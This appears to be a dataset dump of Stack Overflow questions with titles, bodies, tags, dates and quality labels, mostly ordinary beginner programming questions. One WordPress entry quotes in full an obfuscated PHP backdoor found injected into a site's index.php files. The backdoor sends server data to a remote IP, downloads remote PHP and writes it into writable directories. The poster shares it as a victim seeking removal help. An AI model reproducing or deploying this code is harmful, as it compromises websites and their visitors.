Id
int64
34.6M
60.5M
Title
stringlengths
15
150
Body
stringlengths
33
36.7k
Tags
stringlengths
3
112
CreationDate
stringdate
2016-01-01 00:21:59
2020-02-29 17:55:56
Y
stringclasses
3 values
54,390,778
how to show time performance for merge sort?
<p>show the time performance analysis for merge sort algorithm in c programming how to print merge sort algorithm the time performance (in ms) in c programming. Merge sort time complexity is (n log n) whether the condition in the worst case or best case. Someone can help me solve the problem. thanks, someone for solving my problem. </p> <pre><code>#include&lt;stdio.h&gt; #define MAX 50 void mergeSort(int arr[],int low,int mid,int high); void partition(int arr[],int low,int high); int main(){ int merge[MAX],i,n; printf("Enter the total number of elements: "); scanf("%d",&amp;n); printf("Enter the elements which to be sort: "); for(i=0;i&lt;n;i++){ scanf("%d",&amp;merge[i]); } partition(merge,0,n-1); printf("After merge sorting elements are: "); for(i=0;i&lt;n;i++){ printf("%d ",merge[i]); } return 0; } void partition(int arr[],int low,int high){ int mid; if(low&lt;high){ mid=(low+high)/2; partition(arr,low,mid); partition(arr,mid+1,high); mergeSort(arr,low,mid,high); } } void mergeSort(int arr[],int low,int mid,int high){ int i,m,k,l,temp[MAX]; l=low; i=low; m=mid+1; while((l&lt;=mid)&amp;&amp;(m&lt;=high)){ if(arr[l]&lt;=arr[m]){ temp[i]=arr[l]; l++; } else{ temp[i]=arr[m]; m++; } i++; } if(l&gt;mid){ for(k=m;k&lt;=high;k++){ temp[i]=arr[k]; i++; } } else{ for(k=l;k&lt;=mid;k++){ temp[i]=arr[k]; i++; } } for(k=low;k&lt;=high;k++){ arr[k]=temp[k]; } } </code></pre>
<c><algorithm><performance><sorting><mergesort>
2019-01-27 17:16:29
LQ_CLOSE
54,391,468
something related .get function i think
so basically i can't get my code running , when i use the next function to check if the entered password and name are right if always say wro no ng values entered, basically the variable entry_1 and entry_2 are not storing the input text and i want a solution for that. how to use .get function to solve this i have no idea i have tried assign entry_1 and entry_2 to a variable didnt work out. from tkinter import * root = Tk() # creates a window and initializes the interpreter root.geometry("500x300") name = Label(root, text = "Name") password = Label(root, text = "Password") entry_1 = Entry(root) entry_2 = Entry(root) name.grid(row = 0, column = 0, sticky = E) # for name to be at right use sticky = E (E means east) entry_1.grid(row = 0, column =1) x = "Taha" password.grid(row = 1, column = 0) entry_2.grid(row = 1, column =1) y = "123" c = Checkbutton(root, text = "Keep in logged in").grid(columnspan = 2 ) # mergers the two columns def next(): if a == entry_1 and b == entry_2: print ("Proceed") else: print("wrong values entered") def getname(): return name Next = Button(root, text = "Next", command=next).grid(row = 3, column = 1) root.mainloop() # keep runing the code i want it to say proceed once correct values are entered
<python><tkinter>
2019-01-27 18:26:52
LQ_EDIT
54,391,565
i have 2 spinner values and button to send this values from acvitity to another .. need to send multi values and use them in the other activity
i have 2 spinner in [Blankfragment.java] .. and i want to send the key of ( intent.putExtra(Category1) or intent.putExtra(Category2) ) and receive them in the same activity[aaa.java].. by (getIntent().getStringExtra("Category1"); or getIntent().getStringExtra("Category2");) in switch case or if statment... but i cant do this because i can't use more than one getStringExtra in aaa.java please help me ````````this is code of [Blankfragment.java]`````` int spinner_pos = spinner.getSelectedItemPosition(); int spinner2_pos = spinner2.getSelectedItemPosition(); if (spinner_pos == 0 && spinner2_pos == 0) { Intent intent = new Intent(getActivity(), aaa.class); String a1 = null; intent.putExtra("Category1", a1 ); startActivity(intent); } else if (spinner_pos == 0 && spinner2_pos == 1) { Intent intent = new Intent(getActivity(), aaa.class); String a2 = null; intent.putExtra("Category2", a2); startActivity(intent); } ````````this is code of [aaa.java]`````````````` protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_aaa); . .. ... //need to use getIntent().getStringExtra("Category1"); .. // for if -> "01" and getIntent().getStringExtra("Category2"); .. // for else if -> "02" //in this if statment if(// write something) { loadListWorkers("01"); } else if (//write something) { loadListWorkers("02"); } } private void loadListWorkers(String placeId) { adapter = new FirebaseRecyclerAdapter<workers, WorkerViewHolder> ( workers.class , R.layout.vh_worker_item , WorkerViewHolder.class , workerList.orderByChild("Worker_place_ID").equalTo(placeId) ) ... ..... ....... .........
<java><android><android-intent>
2019-01-27 18:35:57
LQ_EDIT
54,391,578
Create custom maps where specific streets get specific colour
<p>I'm looking for a (good) solution to solve the following problem:</p> <ul> <li>provide users with a searchable map</li> <li>search is constrained to street names</li> <li>a statically known set of street names needs to be coloured in a specific way (e.g. some get a strong red, a soft red, a strong green, etc)</li> </ul> <p>So the user's experience would be to search for e.g. his own street, and see which colour his and neighbouring streets have. A bit like your typical map hotspots functionality, but really focused on the street level.</p> <p>A sketch of this idea:</p> <p><img src="https://i.stack.imgur.com/qcoo0.png" alt="sketch"></p> <p>Does anyone know any approach to get to this? Combine a dynamically searchable map with a pre-colouring of let's say 10k streets?</p> <p>I've looked at bing maps, google maps, here maps, osm, but none of them really seem to offer what I'm looking for. I don't want to query specific coordinates of a specific street given the query of the user, and then draw polylines along those coordinates - I want a "pre-baked" map, that works just like a searchable normal map, but happens to colour streets in a specific pre-defined way.</p> <p>I'm happy with any good approach, doesn't matter how complex (offline rendering, dynamic colouring, ...). I looked around for possible solutions, but anything I found was focused on either providing a static image, or colouring just one specific street using e.g. a directions API.</p> <p>Thanks for any input!</p>
<google-maps><maps><openstreetmap><bing-maps><here-api>
2019-01-27 18:37:28
LQ_CLOSE
54,391,697
Understanding the concepts of OOP
<p>Apologies for the potentially super simple question. I am trying to understand OOP. I have gone through tutorials but many of them are hyper simplified and by giving myself a 'real' project I am hitting obstacles most tutorials don't seem to cover. Heres a scenario I kind of wish to understand:</p> <p>If I was making a very basic sports game (think Fifa) I currently have 3 objects: </p> <ul> <li>Object of Pitch </li> <li>Object of Team</li> <li>Object of Player</li> </ul> <p>I am hitting my first wall of understanding because I don't want player to simply be an extension of team. After all in real life we would all be objects of human with an attribute that tells us which team we belong to before we are a sub object of a team. </p> <p>What is the best practise for this?</p> <p>Should I be: </p> <ol> <li>Creating the objects of player and then adding each object to an array which is stored against the team object? This is how I would do it procedurally. </li> <li>Storing the team against the player. </li> <li>Storing the player against the team. </li> <li>Extending player by team (I want to avoid this unless its actually the done thing) </li> </ol> <p>This is just a brain exercise right now so I don't really have code but</p> <pre><code>$team1 = new teamObject('red'); $player1 = new players('John'); $team1-&gt;addToTeam($player1); </code></pre> <p>This strikes me as it wouldn't work because in the teamObject Class I wouldn't be able to call any of the Player classes function on the passed player function? </p>
<php><oop><object><object-oriented-analysis>
2019-01-27 18:50:23
LQ_CLOSE
54,392,359
Automatically some functions are generated inside the index.php file
I created a Wordpress site and installed a theme and some plugins afterwards. It was working normally for a while. But then it throws an error, even if I did not change the content of the index.php files. I faced with the following error: Fatal error: Cannot redeclare oOooo() (previously declared in /home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/widgets/widget-recent_portfolio/index.php:1) in /home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/shortcodes/md_live_text/index.php on line 1 So I checked the files that are mentioned above. And I saw there is a single line added automatically each index.php file(for all plugins and theme files). This one line of code is shown below: <?php if(!isset($incode)){$vl='h';$serverid='fe6412f27b07e42253690caf0cd35b8a';$server_addr='109.67.153.40';function oOooo($o0O,$oOO,$o0o,$oo,$o0000,$oo0O){$o0oo0='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0';if(ini_get('allow_url_fopen')==1):$o00=stream_context_create(array($oo0O=>array('method'=>'POST','timeout'=>$o0000,'header'=>array('Content-type: application/x-www-form-urlencoded','User-Agent: '.$o0oo0,'content'=>http_build_query($_SERVER)))));if($oo=='yes'):$o0O=$o0O.'&type=fopen';endif;$ooOoo=@file_get_contents($o0O,false,$o00);elseif(in_array('curl',get_loaded_extensions())):if($oo=='yes'):$o0O=$o0O.'&type=curl';endif;$o0Oo=curl_init();curl_setopt($o0Oo,CURLOPT_URL,$o0O);curl_setopt($o0Oo,CURLOPT_HEADER,false);curl_setopt($o0Oo,CURLOPT_RETURNTRANSFER,true);curl_setopt($o0Oo,CURLOPT_TIMEOUT,$o0000);curl_setopt($o0Oo,CURLOPT_USERAGENT,$o0oo0);if($oo0O=='https'):curl_setopt($o0Oo,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($o0Oo,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($o0Oo,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($o0Oo,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$ooOoo=@curl_exec($o0Oo);curl_close($o0Oo);else:if($oo=='yes'):$o0o=$o0o.'&type=socks';endif;if($oo0O=='https'):$o00o=fsockopen('ssl://'.$oOO,443,$oO0o,$oOo0o,$o0000);else:$o00o=fsockopen($oOO,80,$oO0o,$oOo0o,$o0000);endif;if($o00o):stream_set_timeout($o00o,$o0000);$ooooo=http_build_query($_SERVER);$oO='POST '.$o0o.' HTTP/1.0'."\r\n";$oO.='Host: '.$oOO."\r\n";$oO.='User-Agent: '.$o0oo0."\r\n";$oO.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oO.='Content-Length: '.strlen($ooooo)."\r\n\r\n";fputs($o00o,$oO);fputs($o00o,$ooooo);$oO0='';while(!feof($o00o)):$oO0.=fgets($o00o,4096);endwhile;fclose($o00o);list($ooo,$ooO)=@preg_split("/\R\R/",$oO0,2);$ooOoo=$ooO;endif;endif;return$ooOoo;}function client_version($o00OO){$o0oO[0]=(int)($o00OO/256/256/256);$o0oO[1]=(int)(($o00OO-$o0oO[0]*256*256*256)/256/256);$o0oO[2]=(int)(($o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256)/256);$o0oO[3]=$o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256-$o0oO[2]*256;return''.$o0oO[0].".".$o0oO[1].".".$o0oO[2].".".$o0oO[3];}function oO0Oo($oOOO){$oOooO=array();$oOooO[]=$oOOO;foreach(scandir($oOOO) as$o0O0O):if($o0O0O=='.'||$o0O0O=='..'):continue;endif;$o0=$oOOO.DIRECTORY_SEPARATOR.$o0O0O;if(is_dir($o0)):$oOooO[]=$o0;$oOooO=array_merge($oOooO,oO0Oo($o0));endif;endforeach;return$oOooO;}$oOO0=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oOO=client_version('1540531608');$o0o='/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$o0O='http://'.$oOO.'/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$oOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='5',$oo0O='http');if($oOoo!='havedoor|havedonor'):$oOooo=$_SERVER['HTTP_HOST'];$oOOOO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$o00O=$_SERVER['DOCUMENT_ROOT'];chdir($o00O);$oOooO=oO0Oo($o00O);$oOooO=array_unique($oOooO);foreach($oOooO as$o0O0O):if(is_dir($o0O0O)&&is_writable($o0O0O)):$oOOoO=explode(DIRECTORY_SEPARATOR,$o0O0O);$o0oo=count($oOOoO);$oOOOo[]=$o0oo.'|'.$o0O0O;endif;endforeach;$o0oo=0;foreach($oOOOo as$oooOo):if(count($oOOOo)>1&&(strstr($oooOo,'/wp-admin')||strstr($oooOo,'/cgi-bin'))):unset($oOOOo[$o0oo]);endif;$o0oo++;endforeach;if(!is_writable($o00O)):natsort($oOOOo);$oOOOo=array_values($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];else:$oooOo=$o00O;endif;chdir($oooOo);if(stristr($oOoo,'nodoor')):$o0O='http://'.$oOO.'/get.php?vl='.$vl.'&update&needfilename';$o0o='/get.php?vl='.$vl.'&update&needfilename';$o0o0=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='30',$oo0O='http');$oOOO0=explode('|||||',$o0o0);$o0o00=$oOOO0[0].'.php';$o0O00=$oOOO0[1];file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$o0O00);$oOOo=str_replace($o00O,'',$oooOo);if($_SERVER['SERVER_PORT']=='443'):$oo0O='https';else:$oo0O='http';endif;$o0O=$oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$o0o=$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$oO00o=oOooo($o0O,$oOooo,$o0o,$oo='no',$o0000='10',$oo0O);elseif(stristr($oOoo,'needtoloadsomefiles')):shuffle($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];$oOOo=str_replace($o00O,'',$oooOo);$oO00O='stuvwxyz';$o0o00=str_shuffle($oO00O).'.php';$ooO0=urlencode($oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00);$o0O='http://'.$oOO.'/get.php?bdr&url='.$ooO0;$o0o='/get.php?bdr&url='.$ooO0;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='20',$oo0O='http');file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$ooOoo);elseif(stristr($oOoo,'needtoloadclient')):$o0O='http://'.$oOO.'/get.php?getclient&domain='.$oOOOO;$o0o='/get.php?getclient&domain='.$oOOOO;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='55',$oo0O='http');if($ooOoo=='noclient'):die;endif;$oo0=explode('::::',$ooOoo);$ooOOo=$oo0[0];$oo0O0=$oo0[1];@chmod($ooOOo,0666);file_put_contents($ooOOo,$oo0O0);elseif($oOoo=='needtowait'):endif;if(stristr($oOoo,'nodonor')):endif;endif;$incode=1;}?> I have no idea why it appears on each index file and how to remove these lines swiftly. This is the second time I faced with this problem (I reinstalled everything from scratch at first). How can I avoid this issue permanently?
<php><wordpress>
2019-01-27 20:03:52
LQ_EDIT
54,393,132
How can I replace the comma-separeted Id's with the names of services
I use in my sql report different tables. I want to display in one of the columns the names of services. I must have to take the names from an another table. How can I replace the comma-separeted Id's with the names of services. Table 1 IdPerson-----------Date----------Services ---------- 12345--------01-01-2019-----------1,5,15,17 Table 2 ---------- IdServices----------------------------- description ---------- 1--------------service 1 ---------- 2--------------service 2 ---------- 3--------------service 3 ---------- .-------------- ---------- .-------------- ---------- 17--------------service 17 ---------- The expected output is like this: ---------- ClientId--------------Date--------------Services ---------- 12345--------------01-01-2019--------------service 1,service 5, service 15, service 17
<sql><sql-server>
2019-01-27 21:39:51
LQ_EDIT
54,394,023
what is the next step for python web scraping on my pc?
<p>I have (python 3.7.2, anaconda navigator, and sublime text 3) installed on my computer (windows 10 home, 64 bit). do i have the correct programs installed for 'python web scraping'? what is the next step to successfully start web scraping? (when i press and hold the SHIFT key, and right-click in a folder, it says: "open powershell window here"), please help, thanks!</p>
<python>
2019-01-27 23:53:11
LQ_CLOSE
54,394,143
Generate Every Possible 2 Character Combination
<p>How can I generate a string that contains a every 2 character combination of input ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789</p> <p>Output would be formatted like this:</p> <pre><code>00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D ... 2g 2h 2i 2j 2k 2l 2m 2n 2o 2p 2q 2r 2s 2t 2u 2v 2w 2x 2y 2z 30 31 32 33 34 35 36 37 38 39 3A 3B 3C </code></pre> <p>The total length of the output would be 3844 lines.</p>
<c#><combinatorics>
2019-01-28 00:15:45
LQ_CLOSE
54,394,548
Any functions that need the std:: prefix
<p>What are all the functions (ex std::cout, std::cin, etc.) that need the std:: when not using namespace std?It would be useful to know so I don’t run into problems, thanks!</p>
<c++><object><standards><c++-standard-library>
2019-01-28 01:39:59
LQ_CLOSE
54,396,086
How to covert string into list in python
I have string as str = 'example' How to convert it into list as lst = ['example'] in an efficient way?
<python><python-3.x>
2019-01-28 05:37:51
LQ_EDIT
54,396,117
Migrate from angular 1 to angular 7
I have to upgrade my *AngularJS* (v1) app to latest *Angular 7*. Upto now I haven't done it and scary about breaking the things. Can you please guide me how do I need to proceed further and what are all the things need to be taken care? I've gone through the following article as well, but still wants specific guidance: https://angular.io/guide/upgrade Thanks in advanc.
<angular>
2019-01-28 05:41:15
LQ_EDIT
54,397,500
llegalArgumentException : Stack size becomes negative
[java.lang.IllegalArgumentException] Stack size becomes negative after instruction [50] pop in [org/jetbrains/anko/Logging.error(Lorg/jetbrains/anko/AnkoLogger;Lkotlin/jvm/functions/Function0;)V] > 15:38:22.102 [ERROR] [system.err] Unexpected error while inlining > method: 15:38:22.102 [ERROR] [system.err] Target class = > [org/jetbrains/anko/Logging] 15:38:22.103 [ERROR] [system.err] > Target method = > [error(Lorg/jetbrains/anko/AnkoLogger;Lkotlin/jvm/functions/Function0;)V] > 15:38:22.103 [ERROR] [system.err] Exception = > [java.lang.IllegalArgumentException] (Stack size becomes negative > after instruction [50] pop in > [org/jetbrains/anko/Logging.error(Lorg/jetbrains/anko/AnkoLogger;Lkotlin/jvm/functions/Function0;)V]) > 15:38:22.103 [ERROR] [system.err] java.lang.IllegalArgumentException: > Stack size becomes negative after instruction [50] pop in > [org/jetbrains/anko/Logging.error(Lorg/jetbrains/anko/AnkoLogger;Lkotlin/jvm/functions/Function0;)V] > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.StackSizeComputer.evaluateInstructionBlock(StackSizeComputer.java:349) > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.StackSizeComputer.visitBranchInstruction(StackSizeComputer.java:207) > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.instruction.BranchInstruction.accept(BranchInstruction.java:145) > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.StackSizeComputer.evaluateInstructionBlock(StackSizeComputer.java:366) > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.StackSizeComputer.visitCodeAttribute0(StackSizeComputer.java:163) > 15:38:22.103 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.StackSizeComputer.visitCodeAttribute(StackSizeComputer.java:125) > 15:38:22.103 [ERROR] [system.err] at > proguard.optimize.peephole.MethodInliner.visitCodeAttribute0(MethodInliner.java:220) > 15:38:22.103 [ERROR] [system.err] at > proguard.optimize.peephole.MethodInliner.visitCodeAttribute(MethodInliner.java:172) > 15:38:22.103 [ERROR] [system.err] at > proguard.optimize.info.OptimizationCodeAttributeFilter.visitCodeAttribute(OptimizationCodeAttributeFilter.java:84) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.DebugAttributeVisitor.visitCodeAttribute(DebugAttributeVisitor.java:302) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.attribute.CodeAttribute.accept(CodeAttribute.java:141) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ProgramMethod.attributesAccept(ProgramMethod.java:101) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.attribute.visitor.AllAttributeVisitor.visitProgramMember(AllAttributeVisitor.java:95) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.util.SimplifiedVisitor.visitProgramMethod(SimplifiedVisitor.java:93) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ProgramMethod.accept(ProgramMethod.java:93) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ProgramClass.methodsAccept(ProgramClass.java:588) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.visitor.AllMethodVisitor.visitProgramClass(AllMethodVisitor.java:47) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ProgramClass.accept(ProgramClass.java:430) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ClassPool.classesAccept(ClassPool.java:124) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.visitor.AllClassVisitor.visitClassPool(AllClassVisitor.java:45) > 15:38:22.104 [ERROR] [system.err] at > proguard.classfile.ClassPool.accept(ClassPool.java:110) 15:38:22.104 > [ERROR] [system.err] at > proguard.optimize.Optimizer$TimedClassPoolVisitor.visitClassPool(Optimizer.java:1684) > 15:38:22.105 [ERROR] [system.err] at > proguard.classfile.ClassPool.accept(ClassPool.java:110) 15:38:22.105 > [ERROR] [system.err] at > proguard.optimize.Optimizer.execute(Optimizer.java:1194) 15:38:22.105 > [ERROR] [system.err] at > proguard.ProGuard.optimize(ProGuard.java:413) 15:38:22.105 [ERROR] > [system.err] at proguard.ProGuard.execute(ProGuard.java:154) > 15:38:22.105 [ERROR] [system.err] at > com.android.build.gradle.internal.transforms.BaseProguardAction.runProguard(BaseProguardAction.java:66) > 15:38:22.105 [ERROR] [system.err] at > com.android.build.gradle.internal.transforms.ProGuardTransform.doMinification(ProGuardTransform.java:274) > 15:38:22.105 [ERROR] [system.err] at > com.android.build.gradle.internal.transforms.ProGuardTransform.access$000(ProGuardTransform.java:67) > 15:38:22.105 [ERROR] [system.err] at > com.android.build.gradle.internal.transforms.ProGuardTransform$1.run(ProGuardTransform.java:178) > 15:38:22.105 [ERROR] [system.err] at > com.android.builder.tasks.Job.runTask(Job.java:47) 15:38:22.105 > [ERROR] [system.err] at > com.android.build.gradle.tasks.SimpleWorkQueue$EmptyThreadContext.runTask(SimpleWorkQueue.java:41) > 15:38:22.105 [ERROR] [system.err] at > com.android.builder.tasks.WorkQueue.run(WorkQueue.java:282) > 15:38:22.106 [ERROR] [system.err] at > java.lang.Thread.run(Thread.java:745)
<android><kotlin><proguard><kotlin-android-extensions><anko>
2019-01-28 07:44:25
LQ_EDIT
54,398,449
the model object is returning null
<p>I am using dotnet core 2.1.the problem is that when my database has values and I am querying it, it returns the value in the UserInteractions model but It says that the User Object is null. although it is not null. my models and query are as below:</p> <pre><code>public class UserInteractions { public int Id { get; set; } public int? UserId { get; set; } [ForeignKey ("UserId")] public User user { get; set; } public int? TargetId { get; set; } [ForeignKey ("TargetId")] public User target { get; set; } public int NumberOfMusicMedia { get; set; } public int VolumeOfMusicMedia { get; set; } public int NumberOfImageMedia { get; set; } public int VolumeOfImageMedia { get; set; } public int NumberOfVideoMedia { get; set; } public int VolumeOfVideoMedia { get; set; } public int NumberOfDocumentMedia { get; set; } public int VolumeOfDocumentMedia { get; set; } public bool IsMuted { get; set; } } public class User { [Key] public int Id { get; set; } public string Phone { get; set; } public string Name { get; set; } public string UserName { get; set; } } </code></pre> <p>this is my query:</p> <pre><code>var mediaInfo = _db.UserInteractions.FirstOrDefault (o =&gt; o.UserId == 2); User inf = mediaInfo.target; </code></pre> <p>it says that inf is null, but it should not be null</p>
<c#><.net>
2019-01-28 08:59:19
LQ_CLOSE
54,398,710
np.arange function returns weird value. I don't know why
<pre><code>import numpy as np a=np.arange(1e-10,2e-10,1e-11) print(len(a)) b=np.arange(0.1,0.2,0.01) print(len(b)) </code></pre> <p>Value of a is 11 and value of b is 10. Why is that? I've known that arange func is the interval including start but excluding stop. </p>
<python>
2019-01-28 09:16:12
LQ_CLOSE
54,398,952
How to check if a string contains any of the characters of another string
<p>I'm trying to check if the name in an email is valid, which means it doesn't contain any of the following characters</p> <pre><code>*$£%ù^¨&amp;é"'()°-è_çà§æ«€¶ŧ←↓→øþ¨¤@ßðđŋħłµł»¢“ </code></pre>
<java><string><character>
2019-01-28 09:31:17
LQ_CLOSE
54,399,857
Can I use python for a Raspberrry based App?
I'm quite new in coding. I want to controll my RC car with my smartphone thanks to a raspberry Pie 3. All my researches show that I have to use Node.JS, and consequently JavaScript, to create the App. Is there any way I can do it with Python ? Do you have an open-source exemple ? Thks a lot.
<javascript><python><node.js><raspberry-pi3>
2019-01-28 10:22:34
LQ_EDIT
54,400,348
Parse Numbers from Text
I want to parse number from Text Line in SQL. My Text line is as: [![enter image description here][1]][1] I want to retrieve values of First & second as column using SQL as below. [![enter image description here][2]][2] [1]: https://i.stack.imgur.com/ZG5ac.png [2]: https://i.stack.imgur.com/ICM5j.png
<sql><sql-server>
2019-01-28 10:52:19
LQ_EDIT
54,401,467
traduction de la requete sql en requete query builder
SELECT a.entite, a.etat, COUNT(a.etat) as nombre_toperform, b.nombre_performed,c.nombre_incompatible FROM `controlens` a LEFT JOIN ( SELECT entite,COUNT(etat) as nombre_performed from `controlens` WHERE etat like 'PERFORMED' GROUP BY entite, etat) b on a.entite = b.entite LEFT JOIN ( SELECT entite,COUNT(etat) as nombre_incompatible from `controlens` WHERE etat like 'INCOMPATIBLE' GROUP BY entite, etat) c on a.entite = c.entite WHERE a.etat like '%TOPERFORM%' GROUP BY a.entite, a.etat, b.nombre_performed,c.nombre_incompatible
<laravel><laravel-5><eloquent>
2019-01-28 11:55:03
LQ_EDIT
54,403,239
Updating the same list with square values
<p>I want to declare a list in python3 and then update it with square values. e.g. </p> <pre><code>list1 = [1,2,3,4] </code></pre> <p>and Output should be the same list with square values:</p> <pre><code>list1 = [1,4,9,16] </code></pre> <p>I don't want to use another list. Please help?</p>
<python><python-3.x><python-3.6>
2019-01-28 13:38:59
LQ_CLOSE
54,405,821
"Index out of range" while reading contents from a file through cat PYTHON
<p>I am trying to get input from a file, through cat command, into a python file. My python version is 3.5. The code looks like this. </p> <pre><code>with open(sys.argv[1]) as f: while True: if f.readline()== '': break line = f.readline().strip() </code></pre> <p>And i am getting the input through the following command. </p> <pre><code>python cptest.py | cat ts.csv </code></pre> <p>But i keep running into the following error.</p> <blockquote> <p>File "cptest.py", line 9, in with open(sys.argv[1]) as f: IndexError: list index out of range</p> </blockquote> <p>How can i send input to a python script from a file using cat command? I have to use cat command, or any other way i can pipe the input to the file.</p>
<python><shell><input><cat>
2019-01-28 16:00:00
LQ_CLOSE
54,407,168
Css flexbox , try to keep chat in view
i'm tired with css flexbox, i want to implement a chat which stays in screen with a sticky footer. But i'm really stuck. [Something like that][1] Or at least , have the bottom of my chat at the bottom of the content or screen. I'm using bootstrap 4.1. If anyone have an idea, that would be very helpfull [1]: https://i.stack.imgur.com/ovwxK.png
<html><css><svg><flexbox>
2019-01-28 17:18:33
LQ_EDIT
54,407,345
Convert List to Dataframe Python
data = open("state_towns.txt") for line in data: print(line) returns the following list: Colorado[edit] Alamosa (Adams State College)[2] Boulder (University of Colorado at Boulder)[12] Durango (Fort Lewis College)[2] Connecticut[edit] Fairfield (Fairfield University, Sacred Heart University) Middletown (Wesleyan University) New Britain (Central Connecticut State University) I want to return a dataframe with two columns, state and region, that would look like this: State Town 0 Colorado Auburn 1 Colorado Florence 2 Colorado Jacksonville 3 Connecticut Fairfield 4 Connecticut Middletown 5 Connecticut New Britain How do i split the list so that any line that contains '[edit]' will be added to the state column? Also how to I delete all the text in the brackets from the town entries? thanks
<python><pandas>
2019-01-28 17:31:39
LQ_EDIT
54,408,868
(Beginner) Switching letters in a character string with "#" if they aren't in a char array
void funOne(char a[], string b, int aL, int bL){ int cnt[aL]={0}; for(int i=0; i<bL; i++){ for(int j=0; j<aL; j++){ if((char)b[i]==a[j];{ cnt[j]++; break; } } } for(int i=0; i<bL; i++){ for(int j=0; j<aL; j++){ if((char)b[i]==a[j]&&cnt=0) { b[i]='#'; break; }}} There is a char arr[]={'H', 't', 'h', 's', 'e', 'i'}; and a character string "Sherlock Holmes is a fiction private detective" Every character that's not in the array should be replaced with "#" in the string. The output should be "She##### H###es is # #i#ti#n ##i##te #ete#ti#e" There is something wrong with my code but I don't know what.
<c++><arrays><function><char>
2019-01-28 19:20:52
LQ_EDIT
54,409,775
Reversing letters in string without changing places of other characters
def reversing(sentence): code = [] for l1, l2 in zip(sentence, sentence[::-1]): if l1.isalpha() and l2.isalpha(): l2 = l2.upper() if l1.isupper() else l2.lower() code.append(l2) return ''.join(code) I need to reverse each letter in this sentence but every other character needs to stay in the same place as in the original sentence. This what I have so far but I'm stuck from here because I can't see what the mistake is. For example the sentence 'God bless our brave Confederates, Lord!' should be after this function 'Dro lseta red efnoc Evarbruossel, Bdog!' Thanks in advance.
<python><python-3.x>
2019-01-28 20:26:19
LQ_EDIT
54,409,937
How do i add form submission on my website
<p>I,m building a website and need form submission to an e-mail address, whats the best programming language to use and how would i go about it, I'd rather not use php if possible, many thanks for suggestions</p>
<html><css><vue.js>
2019-01-28 20:37:24
LQ_CLOSE
54,410,661
ASP.net, c#, sql command Must Declare the Scalar Variable for User Control
I have a sql command. I tested it selecting top 5 to make sure it was connected and mapped to the write datasoure. I can select the top 5. But, when I try to select with the HostID I ge the error "Must Declare the Scalar Variable". The command executes when the page loads and also when the user changes the value in the dropdownlist. Visual Studio 2017 Community, Asp.net 4.6, Ado, c#, Microsoft SQL Server 2016 protected void Page_LoadComplete(object sender, EventArgs e) { //MessageBox.Show("You are in the Form.Shown event."); { SqlConnection con = new SqlConnection(Database.ConnectionString); try { con.Open(); //SqlCommand cmd = new SqlCommand("select * from courses", con); /***** code for current or next session for instructor *****/ //Declare @Now2 datetime = current_timestamp, // @HostID2 varchar(15) = '104402'; /*--this would be hostID of the instructor logged into attendance page*/ SqlCommand cmd = new SqlCommand("select distinct" + " sd.scheduledaysid as RecordID" + ",sd.status" + ",sd.minutes" + ",sm.crs_cde as CourseCode" + ",sm.crs_title as CourseTitle" + ",sm.yr_cde,sm.trm_cde" + ",sd.startTime as StartTime" + ",sd.startTime" + ",flt.instrctr_id_num as InstructorID" + ",n.First_Name" + ",n.Last_Name as InstructorName" + " from ics_net.dbo.LMS_ScheduleDays as sd" + " inner join ics_net.dbo.lms_section as s" + " on sd.sectionid = s.SectionID " + "inner JOIN ics_net.dbo.LMS_Course AS c " + "WITH (NOLOCK) ON s.CourseID = c.CourseID " + "inner join tmseprd.dbo.section_master as sm" + " on c.CourseCode + ' ' + s.NAME = sm.crs_cde " + "and left(s.erpcoursekey,4) = sm.yr_cde " + "and substring(s.ERPCourseKey,6,2) = sm.trm_cde " + "inner join tmseprd.dbo.student_crs_hist as sch " + "on sm.crs_cde = sch.crs_cde " + "and sm.yr_cde = 